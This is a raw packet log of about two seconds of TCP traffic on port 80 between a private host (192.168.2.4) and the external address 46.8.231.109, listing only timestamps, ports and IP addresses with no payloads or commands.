Oct 7, 2024 03:03:06.908003092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908049107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908727884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908760071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908783913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908792973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908806086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908824921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908835888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908859015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908869028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908890963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908901930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908924103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.908934116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.908967018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950083017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950165033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950187922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950201988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950222015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950233936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950246096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950268984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950278997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950300932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950309992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950336933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.950344086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.950381994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983608961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983643055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983709097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983710051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983738899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983762026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983769894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983818054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983830929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983870029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983879089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983917952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.983930111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983963013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.983985901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984010935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984014988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984047890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984060049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984078884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984095097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984111071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984122038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984143019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984154940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984177113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984189034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984210968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.984220982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.984253883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.985883951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.985948086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.985949993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.985979080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.985999107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986026049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986040115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986071110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986083031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986116886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986133099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986164093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986177921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986196995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986207962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986224890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986243963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986257076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986268997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986304045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986323118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986351013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986366987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986394882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986411095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986442089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986466885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986495018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986504078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986548901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986562967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986607075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986624002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986654997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986666918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986687899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986700058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986716986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986731052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986748934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986761093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986780882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986793041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986812115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986824989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986845016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986854076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986877918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986887932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986912012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.986921072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.986954927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.994894981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.994924068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.994968891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.994981050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.994992018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995028973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995048046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995080948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995091915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995111942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995125055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995155096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995173931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995218039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995234013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995265961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995280027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995296955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995313883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995341063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995357990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995409012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995413065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995441914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995460033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995486021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995501995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995548964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995563030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995595932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995608091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995629072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995642900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995675087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995688915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995737076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995754957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995785952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995801926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995829105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995845079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995872021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995891094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995912075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995930910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.995975971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.995991945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996021986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996037006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996054888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996068001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996087074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996100903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996119022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996131897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996150970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996169090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996182919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996197939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996213913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996227026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996247053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996258020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996278048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996294022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996310949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996325970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996342897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996354103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996378899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996386051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996407032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996428013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996438980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996447086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996470928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996483088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996504068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996517897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996536016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996546984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996570110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.996586084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.996613979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.019164085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.019205093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.024190903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.024220943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.024247885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.024274111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.024301052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.319299936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.319370031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.404721022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.404758930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.409665108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.409689903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.409732103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.746222019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.746306896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.762605906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:07.768366098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.977606058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:07.977699995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.310257912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.316445112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.524470091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.524532080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.672677994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.677690029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849406004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849455118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849490881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849509001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849509001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849523067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849539042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849556923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849601030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849601030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849661112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849694967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849733114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849733114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849755049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849793911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849814892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849833965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849833965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849836111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849878073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849878073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849886894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849920988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849963903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.849970102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.849970102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850018978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.850050926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.850060940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850060940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850085020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.850092888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850119114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.850157976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850157976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.850162983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.850260973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929603100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929683924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929719925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929719925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929745913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929780960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929805040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929837942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929857016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929867983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929893017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929900885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929929018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.929948092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929948092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.929960966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930001974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930001974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930022001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930056095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930072069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930115938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930147886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930152893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930152893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930179119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930207968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930219889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930219889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930270910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930274010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930339098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930370092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930371046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930371046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930418968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930442095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930473089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930504084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930510044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930532932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930589914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930622101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930632114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930632114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930654049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930690050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930690050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930711031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930741072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930772066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930783033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930783033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930808067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930819035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930831909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930847883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930847883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930862904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930882931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930882931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930895090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930919886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930927038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.930959940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930959940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.930970907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.931004047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.931035995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.931045055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.931045055 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:08.931066990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:08.931094885 CEST	49731	80	192.168.2.4	46.8.231.109
